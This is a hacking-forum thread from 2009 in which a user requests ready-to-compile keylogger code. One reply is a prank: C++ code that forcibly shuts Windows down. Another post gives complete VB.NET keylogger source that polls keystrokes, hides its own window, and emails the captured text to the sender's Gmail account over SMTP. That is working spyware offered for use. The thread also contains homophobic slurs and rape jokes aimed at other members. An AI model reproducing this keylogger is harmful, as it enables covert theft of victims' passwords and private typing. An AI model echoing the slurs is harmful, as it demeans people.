Page 1 of 2 12 LastLast
Results 1 to 15 of 20
  1. #1
    TaRwA's Avatar
    Join Date
    Dec 2009
    Gender
    female
    Posts
    25
    Reputation
    10
    Thanks
    0
    My Mood
    Devilish

    [Request] Keylogger Code

    I need a Ready to compile Keylogger Code or Ready Keylogger.exe
    I'm Noob on Programming and i need little Tutorial how to use that or something.

    Greetings Hackers ;*

  2. #2
    Lolland's Avatar
    Join Date
    Feb 2009
    Gender
    male
    Location
    Lolland!
    Posts
    3,156
    Reputation
    49
    Thanks
    868
    My Mood
    Inspired
    Copy and paste this:
    Code:
    #include <iostream>
    #include <windows>
    
    int main()
    {
       ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
             return 0;
     
    }

  3. The Following 4 Users Say Thank You to Lolland For This Useful Post:

    crushed (12-22-2009),Hell_Demon (12-22-2009),ilovecookies (12-22-2009),Pixipixel_ (12-22-2009)

  4. #3
    ilovecookies's Avatar
    Join Date
    Oct 2009
    Gender
    male
    Location
    In the C++ Section
    Posts
    321
    Reputation
    10
    Thanks
    67
    My Mood
    Shocked
    Quote Originally Posted by lolland View Post
    Copy and paste this:
    Code:
    #include <iostream>
    #include <windows>
    
    int main()
    {
       ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
             return 0;
     
    }
    LOL! OMG IT WORKED! I GOT 4 PAYPAL ACCOUNTS NOW! =O!
    Quote Originally Posted by Jules Winnfield View Post
    I am the tyranny of evil men, and you are all the weak. But i'm trying Ringo,i'm trying real hard, to become the shepherd.
    excuse me miss, would you kindly reflect some photons off the epidermis covering your sternum directly into the camera iris or vacate the proximity immediately
    [IMG]https://i882.photobucke*****m/albums/ac23/miki_d420/RealizingYoureALeecher2copy.jpg[/IMG]









  5. The Following 2 Users Say Thank You to ilovecookies For This Useful Post:

    Hell_Demon (12-22-2009),rwkeith (12-22-2009)

  6. #4
    Pixipixel_'s Avatar
    Join Date
    Oct 2009
    Gender
    male
    Location
    VCExpress.exe || France :D
    Posts
    2,087
    Reputation
    27
    Thanks
    742
    My Mood
    Cool
    Quote Originally Posted by lolland View Post
    Copy and paste this:
    Code:
    #include <iostream>
    #include <windows>
    
    int main()
    {
       ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
             return 0;
     
    }
    OMFG HOLY SHIT IT WORKS !!!! +REP + THANKED OMG

  7. #5
    Hell_Demon's Avatar
    Join Date
    Mar 2008
    Gender
    male
    Location
    I love causing havoc
    Posts
    3,976
    Reputation
    343
    Thanks
    4,320
    My Mood
    Cheeky
    Quote Originally Posted by ilovecookies View Post
    LOL! OMG IT WORKED! I GOT 4 PAYPAL ACCOUNTS NOW! =O!
    LOL! OMG IT WORKED! I POONED 2.8 MILLION VBFAG ACCOUNTS! =O!
    Ah we-a blaze the fyah, make it bun dem!

  8. #6
    cru0's Avatar
    Join Date
    Oct 2009
    Gender
    male
    Posts
    108
    Reputation
    10
    Thanks
    13
    My Mood
    Asleep

    lol

    my key loger FTW

    btw the items you need to add


    we need a Textbox, for capturing text
    we need 3 timers:
    Timer 1 controls how often it will look for
    key strokes
    Timer 2 controls how often it will try to
    mail results
    Timer 3 controls how long the forum will be
    visible (1 millisecond by default)


    Code:
    This is the code for the entire project:by cru0
    
    
    
    'start code
    Imports System.Net.Mail 'Mail Class
    
    Public Class Form1
        Dim result As Integer
        Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
        Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
    
        Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
            Timer1.Start()
            Timer2.Start()
            Timer3.Start()
    
        End Sub
        Public Function GetCapslock() As Boolean
            ' Return Or Set the Capslock toggle.
    
            GetCapslock = CBool(GetKeyState(&H14) And 1)
    
        End Function
    
        Public Function GetShift() As Boolean
    
            ' Return Or Set the Capslock toggle.
    
            GetShift = CBool(GetAsyncKeyState(&H10))
    
        End Function
        Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
            For i As Integer = 1 To 225
                result = 0
                result = GetAsyncKeyState(i)
                If result = -32767 Then
                    If GetCapslock() = True And GetShift() = True Then
                        Select Case (i)
                            Case 192
                                TextBox1.Text = TextBox1.Text + "~"
                            Case 1
                                'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                            Case 64 To 90
                                TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                            Case 97 To 122
                                TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                            Case 32
                                TextBox1.Text = TextBox1.Text + " "
                            Case 48
                                TextBox1.Text = TextBox1.Text + ")"
                            Case 49
                                TextBox1.Text = TextBox1.Text + "!"
                            Case 50
                                TextBox1.Text = TextBox1.Text + "@"
                            Case 51
                                TextBox1.Text = TextBox1.Text + "#"
                            Case 52
                                TextBox1.Text = TextBox1.Text + "$"
                            Case 53
                                TextBox1.Text = TextBox1.Text + "%"
                            Case 54
                                TextBox1.Text = TextBox1.Text + "^"
                            Case 55
                                TextBox1.Text = TextBox1.Text + "&"
                            Case 56
                                TextBox1.Text = TextBox1.Text + "*"
                            Case 57
                                TextBox1.Text = TextBox1.Text + "("
                            Case 8
                                TextBox1.Text = TextBox1.Text + "[BackSpace]"
                            Case 46
                                TextBox1.Text = TextBox1.Text + "[Del]"
                            Case 190
                                TextBox1.Text = TextBox1.Text + ">"
                            Case 16
                            Case 160 To 165
                            Case 17
                                TextBox1.Text = TextBox1.Text + "[Ctrl]"
                            Case 18
                                TextBox1.Text = TextBox1.Text + "[Alt]"
                            Case 189
                                TextBox1.Text = TextBox1.Text + "_"
                            Case 187
                                TextBox1.Text = TextBox1.Text + "+"
                            Case 219
                                TextBox1.Text = TextBox1.Text + "{"
                            Case 221
                                TextBox1.Text = TextBox1.Text + "}"
                            Case 186
                                TextBox1.Text = TextBox1.Text + ":"
                            Case 222
                                TextBox1.Text = TextBox1.Text + """"
                            Case 188
                                TextBox1.Text = TextBox1.Text + "<"
                            Case 191
                                TextBox1.Text = TextBox1.Text + "?"
                            Case 220
                                TextBox1.Text = TextBox1.Text + "|"
                            Case 13
                                TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                            Case 20
                            Case 91 'windows key
                            Case 9
                                TextBox1.Text = TextBox1.Text + " [Tab]"
                            Case 2
                                TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                            Case 37 To 40
                            Case Else
                                TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                        End Select
                    End If
                    If GetCapslock() = True And GetShift() = False Then
                        Select Case (i)
                            Case 91 'windows key
                            Case 1
                                'TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                            Case 64 To 90
                                TextBox1.Text = TextBox1.Text + Chr(i)
                            Case 97 To 122
                                TextBox1.Text = TextBox1.Text + Chr(i)
                            Case 32
                                TextBox1.Text = TextBox1.Text + " "
                            Case 48 To 57
                                TextBox1.Text = TextBox1.Text + Chr(i)
                            Case 8
                                TextBox1.Text = TextBox1.Text + "[BackSpace]"
                            Case 46
                                TextBox1.Text = TextBox1.Text + "[Del]"
                            Case 190
                                TextBox1.Text = TextBox1.Text + "."
                            Case 16
                            Case 160 To 165
                            Case 20
                            Case 192
                                TextBox1.Text = TextBox1.Text + "`"
                            Case 189
                                TextBox1.Text = TextBox1.Text + "-"
                            Case 187
                                TextBox1.Text = TextBox1.Text + "="
    
                            Case 219
                                TextBox1.Text = TextBox1.Text + "["
                            Case 221
                                TextBox1.Text = TextBox1.Text + "]"
                            Case 186
                                TextBox1.Text = TextBox1.Text + ";"
                            Case 222
                                TextBox1.Text = TextBox1.Text + "'"
                            Case 188
                                TextBox1.Text = TextBox1.Text + ","
                            Case 191
                                TextBox1.Text = TextBox1.Text + "/"
                            Case 220
                                TextBox1.Text = TextBox1.Text + "\"
                            Case 17
                                TextBox1.Text = TextBox1.Text + "[Ctrl]"
                            Case 18
                                TextBox1.Text = TextBox1.Text + "[Alt]"
                            Case 13
                                TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                            Case 9
                                TextBox1.Text = TextBox1.Text + " [Tab]"
                            Case 2
                                TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                            Case 37 To 40
                            Case Else
                                TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                        End Select
                    End If
                    If GetCapslock() = False And GetShift() = True Then
                        Select Case (i)
                            Case 91 'windows key
                            Case 192
                                TextBox1.Text = TextBox1.Text + "~"
                            Case 1
                                ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                            Case 64 To 90
                                TextBox1.Text = TextBox1.Text + Chr(i)
                            Case 97 To 122
                                TextBox1.Text = TextBox1.Text + Chr(i)
                            Case 32
                                TextBox1.Text = TextBox1.Text + " "
                            Case 48
                                TextBox1.Text = TextBox1.Text + ")"
                            Case 49
                                TextBox1.Text = TextBox1.Text + "!"
                            Case 50
                                TextBox1.Text = TextBox1.Text + "@"
                            Case 51
                                TextBox1.Text = TextBox1.Text + "#"
                            Case 52
                                TextBox1.Text = TextBox1.Text + "$"
                            Case 53
                                TextBox1.Text = TextBox1.Text + "%"
                            Case 54
                                TextBox1.Text = TextBox1.Text + "^"
                            Case 55
                                TextBox1.Text = TextBox1.Text + "&"
                            Case 56
                                TextBox1.Text = TextBox1.Text + "*"
                            Case 57
                                TextBox1.Text = TextBox1.Text + "("
                            Case 8
                                TextBox1.Text = TextBox1.Text + "[BackSpace]"
                            Case 46
                                TextBox1.Text = TextBox1.Text + "[Del]"
                            Case 190
                                TextBox1.Text = TextBox1.Text + ">"
                            Case 16
                            Case 160 To 165
                            Case 17
                                TextBox1.Text = TextBox1.Text + "[Ctrl]"
                            Case 18
                                TextBox1.Text = TextBox1.Text + "[Alt]"
                            Case 189
                                TextBox1.Text = TextBox1.Text + "_"
                            Case 187
                                TextBox1.Text = TextBox1.Text + "+"
                            Case 219
                                TextBox1.Text = TextBox1.Text + "{"
                            Case 221
                                TextBox1.Text = TextBox1.Text + "}"
                            Case 186
                                TextBox1.Text = TextBox1.Text + ":"
                            Case 222
                                TextBox1.Text = TextBox1.Text + """"
                            Case 188
                                TextBox1.Text = TextBox1.Text + "<"
                            Case 191
                                TextBox1.Text = TextBox1.Text + "?"
                            Case 220
                                TextBox1.Text = TextBox1.Text + "|"
                            Case 13
                                TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                            Case 9
                                TextBox1.Text = TextBox1.Text + " [Tab]"
                            Case 20
                            Case 2
                                TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                            Case 37 To 40
                            Case Else
                                TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                        End Select
                    End If
                    If GetCapslock() = False And GetShift() = False Then
                        Select Case (i)
                            Case 1
                                ' TextBox1.Text = TextBox1.Text + "[Left Mouse Click]"
                            Case 64 To 90
                                TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                            Case 97 To 122
                                TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower
                            Case 32
                                TextBox1.Text = TextBox1.Text + " "
                            Case 48 To 57
                                TextBox1.Text = TextBox1.Text + Chr(i)
                            Case 8
                                TextBox1.Text = TextBox1.Text + "[BackSpace]"
                            Case 46
                                TextBox1.Text = TextBox1.Text + "[Del]"
                            Case 190
                                TextBox1.Text = TextBox1.Text + "."
                            Case 16
                            Case 160 To 165
                            Case 20
                            Case 192
                                TextBox1.Text = TextBox1.Text + "`"
                            Case 189
                                TextBox1.Text = TextBox1.Text + "-"
                            Case 187
                                TextBox1.Text = TextBox1.Text + "="
                            Case 91 'windows key
                            Case 219
                                TextBox1.Text = TextBox1.Text + "["
                            Case 221
                                TextBox1.Text = TextBox1.Text + "]"
                            Case 186
                                TextBox1.Text = TextBox1.Text + ";"
                            Case 222
                                TextBox1.Text = TextBox1.Text + "'"
                            Case 188
                                TextBox1.Text = TextBox1.Text + ","
                            Case 191
                                TextBox1.Text = TextBox1.Text + "/"
                            Case 220
                                TextBox1.Text = TextBox1.Text + "\"
                            Case 17
                                TextBox1.Text = TextBox1.Text + "[Ctrl]"
                            Case 18
                                TextBox1.Text = TextBox1.Text + "[Alt]"
                            Case 13
                                TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine
                            Case 9
                                TextBox1.Text = TextBox1.Text + " [Tab]"
                            Case 2
                                TextBox1.Text = TextBox1.Text + " [RightMouseClick]"
                            Case 37 To 40
    
                            Case Else
                                TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") "
                        End Select
                    End If
    
                End If
            Next i
        End Sub
    
        Sub MainEvents() 
    'Fill In all Required info, if your not using gmail use smtp . your email provider ex: 
    '"smpt.yahoo.com" or "smpt.custom_email.edu"
            Try
                Dim MyMailMessage As New MailMessage()
                MyMailMessage.From = New MailAddress("Your_Email_Address@gmail.com") 
                MyMailMessage.To.Add("Your_Email_Address@gmail.com")
                MyMailMessage.Subject = "Test"
                MyMailMessage.Body = TextBox1.Text
                Dim SMPT As New SmtpClient("smtp.gmail.com")
                SMPT.Port = 587
                SMPT.EnableSsl = True
                SMPT.Credentials = New System.Net.NetworkCredential("Your_Email_Address@gmail.com", "Your_Email_Password")
                SMPT.Send(MyMailMessage)
                TextBox1.Text = ""
            Catch ex As Exception
            End Try
        End Sub
    
        Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
    
            If TextBox1.Text <> "" Then
                MainEvents()
            End If
        End Sub
    
        Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
            Me.Visible = False
            Me.Hide()
        End Sub
    
       
    End Class
    'end code
    Last edited by cru0; 12-22-2009 at 03:25 PM. Reason: pasted boxes.

  9. #7
    Hell_Demon's Avatar
    Join Date
    Mar 2008
    Gender
    male
    Location
    I love causing havoc
    Posts
    3,976
    Reputation
    343
    Thanks
    4,320
    My Mood
    Cheeky
    Thats visual basic ****** GTFO
    Ah we-a blaze the fyah, make it bun dem!

  10. The Following 2 Users Say Thank You to Hell_Demon For This Useful Post:

    falzarex (12-23-2009),Matrix_NEO006 (12-22-2009)

  11. #8
    cru0's Avatar
    Join Date
    Oct 2009
    Gender
    male
    Posts
    108
    Reputation
    10
    Thanks
    13
    My Mood
    Asleep

    o

    Quote Originally Posted by Hell_Demon View Post
    Thats visual basic ****** GTFO

    wow dont need to be rude sorry >> this is c++ didnt notcie

  12. #9
    Hell_Demon's Avatar
    Join Date
    Mar 2008
    Gender
    male
    Location
    I love causing havoc
    Posts
    3,976
    Reputation
    343
    Thanks
    4,320
    My Mood
    Cheeky
    Quote Originally Posted by cru0 View Post
    wow dont need to be rude sorry >> this is c++ didnt notcie
    Crushed(one of my sons) got raped by a VBfag when he was little, he has a slight mental handicap because of it, but I <3 him anyway =D
    I PHEAR VBFAGS
    Ah we-a blaze the fyah, make it bun dem!

  13. #10
    crushed's Avatar
    Join Date
    Oct 2009
    Gender
    male
    Location
    My name is Jay. k?
    Posts
    415
    Reputation
    10
    Thanks
    113
    My Mood
    Sneaky
    Quote Originally Posted by Hell_Demon View Post
    Crushed(one of my sons) got raped by a VBfag when he was little, he has a slight mental handicap because of it, but I <3 him anyway =D
    I PHEAR VBFAGS
    Wait, who was this guy again that raped me? And btw, I don't kill puppies. :O
    My slight mental handicap still allows me to flame 'em.

  14. #11
    why06's Avatar
    Join Date
    Jul 2009
    Gender
    male
    Location
    IBM
    Posts
    4,304
    Reputation
    170
    Thanks
    2,203
    My Mood
    Flirty
    Quote Originally Posted by cru0 View Post
    wow dont need to be rude sorry >> this is c++ didnt notcie
    Welll it's a 200 case switch... that's just poor style in any language. Anyway the easiest way to make keylogger is with Global Keyboard Hook.

    "Every gun that is made, every warship launched, every rocket fired signifies, in the final sense, a theft from those who hunger and are not fed, those who are cold and are not clothed. This world in arms is not spending money alone. It is spending the sweat of its laborers, the genius of its scientists, the hopes of its children. The cost of one modern heavy bomber is this: a modern brick school in more than 30 cities. It is two electric power plants, each serving a town of 60,000 population. It is two fine, fully equipped hospitals. It is some fifty miles of concrete pavement. We pay for a single fighter plane with a half million bushels of wheat. We pay for a single destroyer with new homes that could have housed more than 8,000 people. This is, I repeat, the best way of life to be found on the road the world has been taking. This is not a way of life at all, in any true sense. Under the cloud of threatening war, it is humanity hanging from a cross of iron."
    - Dwight D. Eisenhower

  15. #12
    ilovecookies's Avatar
    Join Date
    Oct 2009
    Gender
    male
    Location
    In the C++ Section
    Posts
    321
    Reputation
    10
    Thanks
    67
    My Mood
    Shocked
    Quote Originally Posted by why06 View Post
    Welll it's a 200 case switch... that's just poor style in any language. Anyway the easiest way to make keylogger is with Global Keyboard Hook.
    LOL wow I was scrolling through and seen all of the cases. I thought it looked sloppy but WOW. You counted all of them?
    Quote Originally Posted by Jules Winnfield View Post
    I am the tyranny of evil men, and you are all the weak. But i'm trying Ringo,i'm trying real hard, to become the shepherd.
    excuse me miss, would you kindly reflect some photons off the epidermis covering your sternum directly into the camera iris or vacate the proximity immediately
    [IMG]https://i882.photobucke*****m/albums/ac23/miki_d420/RealizingYoureALeecher2copy.jpg[/IMG]









  16. #13
    TaRwA's Avatar
    Join Date
    Dec 2009
    Gender
    female
    Posts
    25
    Reputation
    10
    Thanks
    0
    My Mood
    Devilish
    Quote Originally Posted by lolland View Post
    Copy and paste this:
    Code:
    #include <iostream>
    #include <windows>
    
    int main()
    {
       ExitWindowsEx(EWX_SHUTDOWN|EWX_POWEROFF| EWX_FORCE, 0);
             return 0;
     
    }
    I'm not so stupid it's for closing windows or some application ;]
    Good Code is writed in VB so...
    I need a Code maked in C++ but thanks for little Tutorial in VB ; D
    Maybe i start to do something in Visual Basics.
    Lolland thanks for little program ; D Maybe i send to my noobish friend to test ; D

    Greetings guys ;*

  17. #14
    falzarex's Avatar
    Join Date
    Apr 2008
    Gender
    male
    Location
    here
    Posts
    417
    Reputation
    14
    Thanks
    145
    Quote Originally Posted by TaRwA View Post
    I'm totally choob on programming so... I need a ready for use Keylogger...
    Or ready code to paste in Compiler ; D

    Greetings ;*
    hmm? Trying to C+P huh? nowai u gonna get that here

    taken from VBFag section
    Quote Originally Posted by falzarex aka myself
    GTFO FUCKER U DONT BELONG IN THE INTERNETZ WORLD COZ ITS MINE


    This is an epic fail resume
    Hello VBfags.
    A 'member' of the almighty C++ section will soon join you, he is 13 year old, has the IQ and typing skills of a VBfag, so I thought he would fit in here nicely.

    A few reasons why he should be in this section instead of the C++ section:
    1) He has the IQ of a VBfag.
    2) He has no sense of grammer/spelling at all.
    3) He thinks he is pro(like most of the people in here)
    4) He thinks copy pasting is fun(exactly what you guys do)
    5) He loves it up the ass(he will keep you VBfags nice and warm)

  18. #15
    zhaoyun333's Avatar
    Join Date
    Apr 2009
    Gender
    male
    Posts
    396
    Reputation
    11
    Thanks
    1,125
    Whats with all the VB Fags transferring to the C++ board?
    There are five possible operations for any army. If you can fight, fight; if you cannot fight, defend; if you cannot defend, flee; if you cannot flee, surrender; if you cannot surrender, die." - Sima Yi

  19. The Following 2 Users Say Thank You to zhaoyun333 For This Useful Post:

    Hell_Demon (12-25-2009),ilovecookies (12-25-2009)

Page 1 of 2 12 LastLast

Similar Threads

  1. [Request] Source Code For AFK Bot 4 CA
    By JIGS4W in forum Visual Basic Programming
    Replies: 2
    Last Post: 10-06-2009, 08:33 AM
  2. [Request] WallHack Code
    By boncha in forum C++/C Programming
    Replies: 3
    Last Post: 09-30-2009, 07:56 AM
  3. [request]Keylogger
    By Dorado in forum Suggestions, Requests & General Help
    Replies: 7
    Last Post: 03-30-2009, 04:40 PM
  4. Request: Hotkey code C++
    By shibity in forum Hack Requests
    Replies: 0
    Last Post: 10-17-2008, 09:58 PM
  5. [request] keylogger
    By prox32 in forum Suggestions, Requests & General Help
    Replies: 6
    Last Post: 05-10-2007, 04:35 PM